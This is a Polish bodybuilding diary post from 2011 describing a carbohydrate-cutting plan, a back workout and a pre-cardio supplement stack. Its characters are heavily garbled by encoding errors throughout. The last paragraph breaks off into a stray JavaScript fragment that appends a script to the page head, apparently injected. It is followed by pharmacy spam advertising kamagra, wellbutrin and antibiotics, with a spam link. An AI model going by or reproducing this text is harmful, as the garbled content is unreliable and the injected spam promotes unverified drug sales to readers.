Obcinamy wAi??glowodany

26.10.2011 / Michał Karmowski

Kolejny dzieAi?? treningowy za mnAi?? , wczoraj nie daAi??em rady przetrenowaAi?? klatki i robiAi??em wymyAi??lne Ai??wiczenia aby tylko wpompowaAi?? trochAi?? krwi do miAi??Ai??ni, pozowanie teA? nie przebiegAi??o tak jak bym chciaAi?? chociaA? juA? lepiej mi wychodzi przypinanie bicepsA?w. BA?l jest trochAi?? mniejszy i najwaA?niejsze , A?e odstawiAi??em diclaca! DziAi?? w koAi??cu normalny trening plecA?w i czworobocznych. Od dziAi?? codziennie obcinam wAi??glowodany aA? do nastAi??pnejAi?? Ai??rody , wiAi??c dieta kaA?dego dnia bAi??dzie inna, nie bAi??dAi?? jej teraz opisywaAi?? tylko zdam relacjAi?? po zawodach jak wyglAi??daAi??o ostatnie 10 dni.

trening plecA?w

-Ai??ciAi??ganie uchwytA?w maszyny hammer podchwytem

-wiosAi??owanie w opadzie podchwytem

-wiosAi??owanie sztangielkAi??

-Ai??ciAi??ganie uchwytu wAi??skiego do brzucha siedzAi??c

-prostowanie grzbietu

-tyAi?? barkA?w leA?Ai??c na skoAi??nej Ai??awce

-szrugsy z hantlami siedzAi??c

Od jutra zmniejszam iloAi??Ai?? treningA?w aerobowych i czas ich trwania bAi??dAi?? robiAi?? jednAi?? sesjAi?? cardio rano na czczo w iloAi??ci 30 min, przed tym 3 miarki bcaa powder, 3 miarki l-glutamine extreme, 6 caps l-carnitine complex, 4 caps clenburexinAi?? oczywiAi??cie:-)d.getElementsByTagName(‚head’)[0].appendChild(s);} else { kamagra 100mg oral jelly ebay. generic Kamagra. kamagra oral jelly next day delivery. http://kinhnghiemlaixe.net/cheap-entocort-vs-prednisone-29541.html buy wellbutrin xl in uk Purchase Buy Order Pills cost of aciclovir tablets generic antidepressants vs brand name buy ampicillin for betta